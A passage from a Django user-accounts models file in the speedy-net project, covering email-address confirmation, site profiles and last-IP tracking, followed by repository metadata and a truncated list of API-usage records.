def get_relationship_status_choices(self):\n        return self.__class__.relationship_status_choices(gender=self.get_gender())\n\n    def update_last_ip_address_used(self, request):\n        ip_address_used = request.META.get('REMOTE_ADDR')\n        if ip_address_used:\n            if (not (self.last_ip_address_used == ip_address_used)):\n                self.last_ip_address_used = ip_address_used\n                self.last_ip_address_used_date_updated = now()\n                self.last_ip_address_used_ipapi_time = None\n                self.save_user_and_profile()\n\n\nUser.ALL_GENDERS = [User.GENDERS_DICT[gender] for gender in User.GENDER_VALID_VALUES]  # ~~~~ TODO: maybe rename to ALL_GENDERS_STRINGS?\n\n\nclass UserEmailAddress(CleanAndValidateAllFieldsMixin, TimeStampedModel):\n    id = RegularUDIDField()\n    user = models.ForeignKey(to=django_settings.AUTH_USER_MODEL, verbose_name=_('user'), on_delete=models.CASCADE, related_name='email_addresses')\n    email = models.EmailField(verbose_name=_('email'), unique=True)\n    is_confirmed = models.BooleanField(verbose_name=_('is confirmed'), default=False)\n    is_primary = models.BooleanField(verbose_name=_('is primary'), default=False)\n    confirmation_token = models.CharField(verbose_name=_('confirmation token'), max_length=32, blank=True)\n    confirmation_sent = models.IntegerField(verbose_name=_('confirmation sent'), default=0)\n    access = UserAccessField(verbose_name=_('Who can see this email'), default=UserAccessField.ACCESS_ME)\n\n    @classproperty\n    def validators(cls):\n        validators = {\n            'email': [\"validate_email\"],\n        }\n        return validators\n\n    class Meta:\n        verbose_name = _('email address')\n        verbose_name_plural = _('email addresses')\n        ordering = ('date_created',)\n\n    def __str__(self):\n        return self.email\n\n    def save(self, *args, **kwargs):\n        if (not (self.confirmation_token)):\n            self.confirmation_token = self._generate_confirmation_token()\n        return super().save(*args, **kwargs)\n\n    def clean_all_fields(self, exclude=None):\n        exclude = convert_to_set(exclude=exclude)\n        super().clean_all_fields(exclude=exclude)\n\n        self.normalize_email()\n\n    def normalize_email(self):\n        self.email = normalize_email(email=self.email)\n\n    def validate_email(self):\n        self.validate_email_unique()\n\n    def validate_email_unique(self):\n        speedy_core_accounts_validators.validate_email_unique(email=self.email, user_email_address_pk=self.pk)\n\n    def _generate_confirmation_token(self):\n        return generate_confirmation_token()\n\n    def mail(self, template_name_prefix, context=None):\n        site = Site.objects.get_current()\n        context = context or {}\n        context.update({\n            'site_name': _(site.name),\n            'user': self.user,\n            'email_address': self,\n        })\n        return send_mail(to=[self.email], template_name_prefix=template_name_prefix, context=context)\n\n    def send_confirmation_email(self):\n        if (self.user.has_confirmed_email):\n            msg_count = self.mail(template_name_prefix='email/accounts/confirm_second_email')\n        else:\n            msg_count = self.mail(template_name_prefix='email/accounts/confirm_first_email')\n        self.confirmation_sent += 1\n        self.save()\n        return msg_count\n\n    def verify(self):\n        self.is_confirmed = True\n        self.save()\n        if (UserEmailAddress.objects.filter(user=self.user, is_confirmed=True).count() == 1):\n            # If this user doesn't have a confirmed primary email address, make this one primary.\n            if (UserEmailAddress.objects.filter(user=self.user, is_primary=True, is_confirmed=True).count() == 0):\n                self.make_primary()\n            self.user.profile.call_after_verify_email_address()\n\n    def make_primary(self):\n        self.user.email_addresses.update(is_primary=False)\n        self.is_primary = True\n        self.save()\n\n\nclass SiteProfileBase(TimeStampedModel):\n    \"\"\"\n    SiteProfile contains site-specific user django_settings.\n    \"\"\"\n    user = models.OneToOneField(to=User, verbose_name=_('User'), primary_key=True, on_delete=models.CASCADE, related_name='+')\n    last_visit = models.DateTimeField(_('last visit'), auto_now_add=True)\n    is_active = True\n\n    @cached_property\n    def is_active_and_valid(self):\n        raise NotImplementedError(\"is_active_and_valid is not implemented.\")\n\n    @cached_property\n    def last_visit_str(self):\n        today = date.today()\n        last_visit_date = self.last_visit.date()\n        if ((today - last_visit_date).days <= 0):\n            return _(\"Today\")\n        elif ((today - last_visit_date).days == 1):\n            return _(\"Yesterday\")\n        else:\n            return _(\"On {date} ({timesince_ago})\").format(\n                date=formats.date_format(value=last_visit_date),\n                timesince_ago=avoid_wrapping(value=_(\"{timesince} ago\")).format(\n                    timesince=timesince(d=last_visit_date, now=today),\n                ),\n            )\n\n    class Meta:\n        abstract = True\n\n    def __str__(self):\n        return '<User Profile {} - {}/{}>'.format(self.user.id, self.user.name, self.user.slug)\n        # return '<User Profile {} - name={}, username={}, slug={}>'.format(self.user.id, self.user.name, self.user.username, self.user.slug)\n\n    def save(self, *args, **kwargs):\n        return_value = super().save(*args, **kwargs)\n        self.user.refresh_all_profiles()\n        return return_value\n\n    def update_last_visit(self):\n        self.last_visit = now()\n        if (\"last_visit_str\" in self.__dict__):\n            del self.last_visit_str\n        self.user.save_user_and_profile()\n\n    def activate(self):\n        raise NotImplementedError(\"activate is not implemented.\")\n\n    def deactivate(self):\n        raise NotImplementedError(\"deactivate is not implemented.\")\n\n    def get_name(self):\n        raise NotImplementedError(\"get_name is not implemented.\")\n\n    def validate_profile_and_activate(self, commit=True):\n        raise NotImplementedError(\"validate_profile_and_activate is not implemented.\")\n\n    def call_after_verify_email_address(self):\n        raise NotImplementedError(\"call_after_verify_email_address is not implemented.\")\n\n\n@receiver(signal=models.signals.post_save, sender=UserEmailAddress)\ndef update_user_has_confirmed_email_field_after_saving_email_address(sender, instance: UserEmailAddress, **kwargs):\n    instance.user._update_has_confirmed_email_field()\n    # If the user doesn't have a primary email address, and this is the only email - make this email primary.\n    if ((instance.user.email_addresses.filter(is_primary=True).count() == 0) and (instance.user.email_addresses.count() == 1)):\n        instance.make_primary()\n\n\n@receiver(signal=models.signals.post_delete, sender=UserEmailAddress)\ndef update_user_has_confirmed_email_field_after_deleting_email_address(sender, instance: UserEmailAddress, **kwargs):\n    instance.user._update_has_confirmed_email_field()\n\n\n", "repo_name": "speedy-net/speedy-net", "sub_path": "speedy/core/accounts/models.py", "file_name": "models.py", "file_ext": "py", "file_size_in_byte": 44124, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 19, "dataset": "github-code", "pt": "78", "api": [{"api_name": "logging.getLogger", "line_number": 35, "usage_type": "call"}, {"api_name": "speedy.core.base.utils.convert_to_set", "line_number": 43, "usage_type": "call"}, {"api_name": "django.core.exceptions.ValidationError", "line_number": 48, "usage_type": "name"}, {"api_name": "speedy.core.base.utils.convert_to_set", "line_number": 59, "usage_type": "call"}, {"api_name": "django.core.exceptions.ValidationError", "line_number": 76, "usage_type": "name"}, {"api_name": "django.core.exceptions.ValidationError", "line_number": 79, "usage_type": "call"}, {"api_name": "speedy.core.base.models.TimeStampedModel", "line_number": 82, "usage_type": "name"}, {"api_name": "speedy.core.base.fields.SmallUDIDField", "line_number": 83, "usage_type": "call"}, {"api_name": "django.db.models.CharField", "line_number": 84, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 84, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 84, "usage_type": "call"}, {"api_name": "django.db.models.CharField", "line_number": 85, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 85, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 85, "usage_type": "call"}, {"api_name": "speedy.core.uploads.fields.PhotoField", "line_number": 86, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 86, "usage_type": "call"}, {"api_name": "django.db.models.BooleanField", "line_number": 87, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 87, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 87, "usage_type": "call"}, {"api_name": "managers.EntityManager", "line_number": 89, "usage_type": "call"}, {"api_name": "django.conf.settings.ENTITY_SETTINGS", "line_number": 93, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 93, "usage_type": "name"}, {"api_name": "django.utils.functional.classproperty", "line_number": 91, "usage_type": "name"}, {"api_name": "django.utils.functional.classproperty", "line_number": 95, "usage_type": "name"}, {"api_name": "speedy.core.blocks.models.Block.objects.get_blocked_entities_ids", "line_number": 106, "usage_type": "call"}, {"api_name": "speedy.core.blocks.models.Block.objects", "line_number": 106, "usage_type": "attribute"}, {"api_name": "speedy.core.blocks.models.Block", "line_number": 106, "usage_type": "name"}, {"api_name": "django.utils.functional.cached_property", "line_number": 103, "usage_type": "name"}, {"api_name": "speedy.core.blocks.models.Block.objects.get_blocking_entities_ids", "line_number": 111, "usage_type": "call"}, {"api_name": "speedy.core.blocks.models.Block.objects", "line_number": 111, "usage_type": "attribute"}, {"api_name": "speedy.core.blocks.models.Block", "line_number": 111, "usage_type": "name"}, {"api_name": "django.utils.functional.cached_property", "line_number": 108, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 114, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 115, "usage_type": "call"}, {"api_name": "speedy.core.base.utils.convert_to_set", "line_number": 123, "usage_type": "call"}, {"api_name": "speedy.core.base.utils.normalize_slug", "line_number": 129, "usage_type": "call"}, {"api_name": "speedy.core.base.utils.normalize_username", "line_number": 131, "usage_type": "call"}, {"api_name": "speedy.core.base.utils.normalize_username", "line_number": 133, "usage_type": "call"}, {"api_name": "speedy.core.base.utils.normalize_username", "line_number": 141, "usage_type": "call"}, {"api_name": "django.core.exceptions.ValidationError", "line_number": 142, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 142, "usage_type": "call"}, {"api_name": "django.core.exceptions.ValidationError", "line_number": 146, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 146, "usage_type": "call"}, {"api_name": "{'Block': 'speedy.core.blocks.models.Block'}.objects.filter", "line_number": 149, "usage_type": "call"}, {"api_name": "{'Block': 'speedy.core.blocks.models.Block'}.objects", "line_number": 149, "usage_type": "attribute"}, {"api_name": "django.core.exceptions.ValidationError", "line_number": 151, "usage_type": "call"}, {"api_name": "django.db.models.CharField", "line_number": 155, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 155, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 155, "usage_type": "call"}, {"api_name": "django.conf.settings.NAMED_ENTITY_SETTINGS", "line_number": 159, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 159, "usage_type": "name"}, {"api_name": "django.utils.functional.classproperty", "line_number": 157, "usage_type": "name"}, {"api_name": "django.db.models.TextField", "line_number": 170, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 170, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 170, "usage_type": "call"}, {"api_name": "django.core.validators.MaxLengthValidator", "line_number": 170, "usage_type": "call"}, {"api_name": "speedy.core.base.managers.BaseManager", "line_number": 171, "usage_type": "call"}, {"api_name": "speedy.core.base.utils.convert_to_set", "line_number": 186, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.PermissionsMixin", "line_number": 200, "usage_type": "name"}, {"api_name": "django.contrib.auth.base_user.AbstractBaseUser", "line_number": 200, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 216, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 217, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 218, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 230, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 231, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 232, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 233, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 245, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 246, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 247, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 248, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 266, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 267, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 268, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 269, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 270, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 271, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 272, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 273, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 274, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 275, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 284, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 285, "usage_type": "call"}, {"api_name": "django.utils.translation.pgettext_lazy", "line_number": 294, "usage_type": "call"}, {"api_name": "django.utils.translation.pgettext_lazy", "line_number": 295, "usage_type": "call"}, {"api_name": "django.utils.translation.pgettext_lazy", "line_number": 296, "usage_type": "call"}, {"api_name": "django.utils.translation.pgettext_lazy", "line_number": 302, "usage_type": "call"}, {"api_name": "django.utils.translation.pgettext_lazy", "line_number": 303, "usage_type": "call"}, {"api_name": "django.utils.translation.pgettext_lazy", "line_number": 304, "usage_type": "call"}, {"api_name": "django.utils.translation.pgettext_lazy", "line_number": 310, "usage_type": "call"}, {"api_name": "django.utils.translation.pgettext_lazy", "line_number": 311, "usage_type": "call"}, {"api_name": "django.utils.translation.pgettext_lazy", "line_number": 312, "usage_type": "call"}, {"api_name": "django.utils.translation.pgettext_lazy", "line_number": 318, "usage_type": "call"}, {"api_name": "django.utils.translation.pgettext_lazy", "line_number": 319, "usage_type": "call"}, {"api_name": "django.utils.translation.pgettext_lazy", "line_number": 320, "usage_type": "call"}, {"api_name": "django.utils.translation.pgettext_lazy", "line_number": 321, "usage_type": "call"}, {"api_name": "django.utils.translation.pgettext_lazy", "line_number": 322, "usage_type": "call"}, {"api_name": "django.utils.translation.pgettext_lazy", "line_number": 323, "usage_type": "call"}, {"api_name": "django.utils.translation.pgettext_lazy", "line_number": 324, "usage_type": "call"}, {"api_name": "django.utils.translation.pgettext_lazy", "line_number": 325, "usage_type": "call"}, {"api_name": "django.utils.translation.pgettext_lazy", "line_number": 326, "usage_type": "call"}, {"api_name": "translated_fields.TranslatedField", "line_number": 329, "usage_type": "call"}, {"api_name": "django.db.models.CharField", "line_number": 330, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 330, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 330, "usage_type": "call"}, {"api_name": "translated_fields.TranslatedField", "line_number": 332, "usage_type": "call"}, {"api_name": "django.db.models.CharField", "line_number": 333, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 333, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 333, "usage_type": "call"}, {"api_name": "django.db.models.SmallIntegerField", "line_number": 335, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 335, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 335, "usage_type": "call"}, {"api_name": "django.db.models.DateField", "line_number": 336, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 336, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 336, "usage_type": "call"}, {"api_name": "django.db.models.SmallIntegerField", "line_number": 337, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 337, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 337, "usage_type": "call"}, {"api_name": "django.db.models.SmallIntegerField", "line_number": 338, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 338, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 338, "usage_type": "call"}, {"api_name": "django.db.models.SmallIntegerField", "line_number": 339, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 339, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 339, "usage_type": "call"}, {"api_name": "translated_fields.TranslatedField", "line_number": 340, "usage_type": "call"}, {"api_name": "django.db.models.CharField", "line_number": 341, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 341, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 341, "usage_type": "call"}, {"api_name": "django.db.models.BooleanField", "line_number": 343, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 343, "usage_type": "name"}, {"api_name": "django.db.models.BooleanField", "line_number": 344, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 344, "usage_type": "name"}, {"api_name": "django.db.models.BooleanField", "line_number": 345, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 345, "usage_type": "name"}, {"api_name": "fields.UserAccessField", "line_number": 346, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 346, "usage_type": "call"}, {"api_name": "fields.UserAccessField.ACCESS_ME", "line_number": 346, "usage_type": "attribute"}, {"api_name": "fields.UserAccessField", "line_number": 347, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 347, "usage_type": "call"}, {"api_name": "fields.UserAccessField.ACCESS_ME", "line_number": 347, "usage_type": "attribute"}, {"api_name": "django.db.models.SmallIntegerField", "line_number": 348, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 348, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 348, "usage_type": "call"}, {"api_name": "django.db.models.GenericIPAddressField", "line_number": 349, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 349, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 350, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 350, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 351, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 351, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 351, "usage_type": "call"}, {"api_name": "django.db.models.JSONField", "line_number": 352, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 352, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 352, "usage_type": "call"}, {"api_name": "managers.UserManager", "line_number": 354, "usage_type": "call"}, {"api_name": "django.conf.settings.USER_SETTINGS", "line_number": 358, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 358, "usage_type": "name"}, {"api_name": "django.utils.functional.classproperty", "line_number": 356, "usage_type": "name"}, {"api_name": "django.utils.functional.classproperty", "line_number": 360, "usage_type": "name"}, {"api_name": "django.utils.functional.classproperty", "line_number": 364, "usage_type": "name"}, {"api_name": "speedy.core.base.utils.to_attribute", "line_number": 374, "usage_type": "call"}, {"api_name": "django.conf.settings.LANGUAGES", "line_number": 374, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 374, "usage_type": "name"}, {"api_name": "speedy.core.base.utils.to_attribute", "line_number": 375, "usage_type": "call"}, {"api_name": "django.conf.settings.LANGUAGES", "line_number": 375, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 375, "usage_type": "name"}, {"api_name": "django.utils.functional.classproperty", "line_number": 368, "usage_type": "name"}, {"api_name": "django.utils.functional.cached_property", "line_number": 379, "usage_type": "name"}, {"api_name": "django.utils.functional.cached_property", "line_number": 383, "usage_type": "name"}, {"api_name": "django.utils.functional.cached_property", "line_number": 387, "usage_type": "name"}, {"api_name": "django.utils.functional.cached_property", "line_number": 391, "usage_type": "name"}, {"api_name": "django.utils.functional.cached_property", "line_number": 395, "usage_type": "name"}, {"api_name": "django.utils.functional.cached_property", "line_number": 403, "usage_type": "name"}, {"api_name": "django.conf.settings.LOGIN_ENABLED", "line_number": 411, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 411, "usage_type": "name"}, {"api_name": "django.utils.functional.cached_property", "line_number": 409, "usage_type": "name"}, {"api_name": "django.conf.settings.LOGIN_ENABLED", "line_number": 418, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 418, "usage_type": "name"}, {"api_name": "django.utils.functional.cached_property", "line_number": 416, "usage_type": "name"}, {"api_name": "django.conf.settings.LOGIN_ENABLED", "line_number": 425, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 425, "usage_type": "name"}, {"api_name": "django.utils.functional.cached_property", "line_number": 423, "usage_type": "name"}, {"api_name": "django.utils.functional.cached_property", "line_number": 430, "usage_type": "name"}, {"api_name": "django.conf.settings.LOGIN_ENABLED", "line_number": 436, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 436, "usage_type": "name"}, {"api_name": "django.utils.functional.cached_property", "line_number": 434, "usage_type": "name"}, {"api_name": "django.utils.functional.cached_property", "line_number": 441, "usage_type": "name"}, {"api_name": "django.conf.settings.LOGIN_ENABLED", "line_number": 447, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 447, "usage_type": "name"}, {"api_name": "django.utils.functional.cached_property", "line_number": 445, "usage_type": "name"}, {"api_name": "django.utils.functional.cached_property", "line_number": 452, "usage_type": "name"}, {"api_name": "django.conf.settings.LOGIN_ENABLED", "line_number": 458, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 458, "usage_type": "name"}, {"api_name": "django.utils.functional.cached_property", "line_number": 456, "usage_type": "name"}, {"api_name": "django.utils.functional.cached_property", "line_number": 463, "usage_type": "name"}, {"api_name": "django.conf.settings.SITE_ID", "line_number": 469, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 469, "usage_type": "name"}, {"api_name": "django.conf.settings.SPEEDY_MATCH_SITE_ID", "line_number": 469, "usage_type": "attribute"}, {"api_name": "django.utils.translation.pgettext_lazy", "line_number": 470, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 472, "usage_type": "call"}, {"api_name": "django.utils.functional.cached_property", "line_number": 467, "usage_type": "name"}, {"api_name": "django.utils.timezone.now", "line_number": 476, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 476, "usage_type": "call"}, {"api_name": "django.utils.functional.cached_property", "line_number": 474, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 479, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 480, "usage_type": "call"}, {"api_name": "django.contrib.sites.models.Site.objects.get", "line_number": 494, "usage_type": "call"}, {"api_name": "django.contrib.sites.models.Site.objects", "line_number": 494, "usage_type": "attribute"}, {"api_name": "django.contrib.sites.models.Site", "line_number": 494, "usage_type": "name"}, {"api_name": "django.conf.settings.SPEEDY_NET_SITE_ID", "line_number": 494, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 494, "usage_type": "name"}, {"api_name": "django.utils.translation.get_language", "line_number": 495, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 497, "usage_type": "call"}, {"api_name": "django.utils.timezone.now", "line_number": 500, "usage_type": "call"}, {"api_name": "django.core.exceptions.ValidationError", "line_number": 507, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 507, "usage_type": "call"}, {"api_name": "django.contrib.auth.password_validation.validate_password", "line_number": 511, "usage_type": "call"}, {"api_name": "django.contrib.auth.password_validation", "line_number": 511, "usage_type": "name"}, {"api_name": "warnings.warn", "line_number": 516, "usage_type": "call"}, {"api_name": "django.db.transaction.atomic", "line_number": 519, "usage_type": "call"}, {"api_name": "django.db.transaction", "line_number": 519, "usage_type": "name"}, {"api_name": "speedy.core.base.utils.convert_to_set", "line_number": 529, "usage_type": "call"}, {"api_name": "speedy.core.base.utils.convert_to_set", "line_number": 543, "usage_type": "call"}, {"api_name": "speedy.core.base.utils.get_all_field_names", "line_number": 550, "usage_type": "call"}, {"api_name": "speedy.core.base.utils.string_is_not_none", "line_number": 552, "usage_type": "call"}, {"api_name": "speedy.core.base.utils.string_is_not_none", "line_number": 555, "usage_type": "call"}, {"api_name": "speedy.core.base.utils.string_is_not_none", "line_number": 556, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 560, "usage_type": "call"}, {"api_name": "django.contrib.sites.models.Site.objects.get_current", "line_number": 563, "usage_type": "call"}, {"api_name": "django.contrib.sites.models.Site.objects", "line_number": 563, "usage_type": "attribute"}, {"api_name": "django.contrib.sites.models.Site", "line_number": 563, "usage_type": "name"}, {"api_name": "django.utils.translation.gettext_lazy", "line_number": 570, "usage_type": "call"}, {"api_name": "django.utils.timezone.now", "line_number": 577, "usage_type": "call"}, {"api_name": "utils.get_site_profile_model", "line_number": 598, "usage_type": "call"}, {"api_name": "django.conf.settings.LOGIN_ENABLED", "line_number": 606, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 606, "usage_type": "name"}, {"api_name": "speedy.net.accounts.models.SiteProfile", "line_number": 609, "usage_type": "name"}, {"api_name": "speedy.match.accounts.models.SiteProfile", "line_number": 610, "usage_type": "name"}, {"api_name": "random.randint", "line_number": 617, "usage_type": "call"}, {"api_name": "utils.get_site_profile_model", "line_number": 622, "usage_type": "call"}, {"api_name": "speedy.net.accounts.models.SiteProfile.RELATED_NAME", "line_number": 623, "usage_type": "attribute"}, {"api_name": "speedy.net.accounts.models.SiteProfile", "line_number": 623, "usage_type": "name"}, {"api_name": "speedy.match.accounts.models.SiteProfile.RELATED_NAME", "line_number": 623, "usage_type": "attribute"}, {"api_name": "speedy.match.accounts.models.SiteProfile", "line_number": 623, "usage_type": "name"}, {"api_name": "django.conf.settings.SITE_ID", "line_number": 625, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 625, "usage_type": "name"}, {"api_name": "django.conf.settings.SPEEDY_NET_SITE_ID", "line_number": 625, "usage_type": "attribute"}, {"api_name": "django.conf.settings.SITE_ID", "line_number": 632, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 632, "usage_type": "name"}, {"api_name": "django.conf.settings.SPEEDY_MATCH_SITE_ID", "line_number": 632, "usage_type": "attribute"}, {"api_name": "speedy.match.accounts.models.SiteProfile.objects.get_matches_from_list", "line_number": 634, "usage_type": "call"}, {"api_name": "speedy.match.accounts.models.SiteProfile.objects", "line_number": 634, "usage_type": "attribute"}, {"api_name": "speedy.match.accounts.models.SiteProfile", "line_number": 634, "usage_type": "name"}, {"api_name": "utils.get_site_profile_model", "line_number": 652, "usage_type": "call"}, {"api_name": "speedy.net.accounts.models.SiteProfile.RELATED_NAME", "line_number": 653, "usage_type": "attribute"}, {"api_name": "speedy.net.accounts.models.SiteProfile", "line_number": 653, "usage_type": "name"}, {"api_name": "speedy.match.accounts.models.SiteProfile.RELATED_NAME", "line_number": 653, "usage_type": "attribute"}, {"api_name": "speedy.match.accounts.models.SiteProfile", "line_number": 653, "usage_type": "name"}, {"api_name": "django.conf.settings.SITE_ID", "line_number": 655, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 655, "usage_type": "name"}, {"api_name": "django.conf.settings.SPEEDY_NET_SITE_ID", "line_number": 655, "usage_type": "attribute"}, {"api_name": "django.conf.settings.SITE_ID", "line_number": 661, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 661, "usage_type": "name"}, {"api_name": "django.conf.settings.SPEEDY_MATCH_SITE_ID", "line_number": 661, "usage_type": "attribute"}, {"api_name": "speedy.match.accounts.models.SiteProfile.objects.get_matches_from_list", "line_number": 663, "usage_type": "call"}, {"api_name": "speedy.match.accounts.models.SiteProfile.objects", "line_number": 663, "usage_type": "attribute"}, {"api_name": "speedy.match.accounts.models.SiteProfile", "line_number": 663, "usage_type": "name"}, {"api_name": "random.randint", "line_number": 678, "usage_type": "call"}, {"api_name": "utils.get_site_profile_model", "line_number": 683, "usage_type": "call"}, {"api_name": "speedy.net.accounts.models.SiteProfile.RELATED_NAME", "line_number": 684, "usage_type": "attribute"}, {"api_name": "speedy.net.accounts.models.SiteProfile", "line_number": 684, "usage_type": "name"}, {"api_name": "speedy.match.accounts.models.SiteProfile.RELATED_NAME", "line_number": 684, "usage_type": "attribute"}, {"api_name": "speedy.match.accounts.models.SiteProfile", "line_number": 684, "usage_type": "name"}, {"api_name": "utils.get_site_profile_model", "line_number": 700, "usage_type": "call"}, {"api_name": "speedy.net.accounts.models.SiteProfile.RELATED_NAME", "line_number": 701, "usage_type": "attribute"}, {"api_name": "speedy.net.accounts.models.SiteProfile", "line_number": 701, "usage_type": "name"}, {"api_name": "speedy.match.accounts.models.SiteProfile.RELATED_NAME", "line_number": 701, "usage_type": "attribute"}, {"api_name": "speedy.match.accounts.models.SiteProfile", "line_number": 701, "usage_type": "name"}, {"api_name": "django.conf.settings.SITE_ID", "line_number": 703, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 703, "usage_type": "name"}, {"api_name": "django.conf.settings.SPEEDY_NET_SITE_ID", "line_number": 703, "usage_type": "attribute"}, {"api_name": "django.conf.settings.SITE_ID", "line_number": 709, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 709, "usage_type": "name"}, {"api_name": "django.conf.settings.SPEEDY_MATCH_SITE_ID", "line_number": 709, "usage_type": "attribute"}, {"api_name": "speedy.match.accounts.models.SiteProfile.objects.get_matches_from_list", "line_number": 711, "usage_type": "call"}, {"api_name": "speedy.match.accounts.models.SiteProfile.objects", "line_number": 711, "usage_type": "attribute"}, {"api_name": "speedy.match.accounts.models.SiteProfile", "line_number": 711, "usage_type": "name"}, {"api_name": "django.db.transaction.atomic", "line_number": 722, "usage_type": "call"}, {"api_name": "django.db.transaction", "line_number": 722, "usage_type": "name"}, {"api_name": "django.conf.settings.LOGIN_ENABLED", "line_number": 725, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 725, 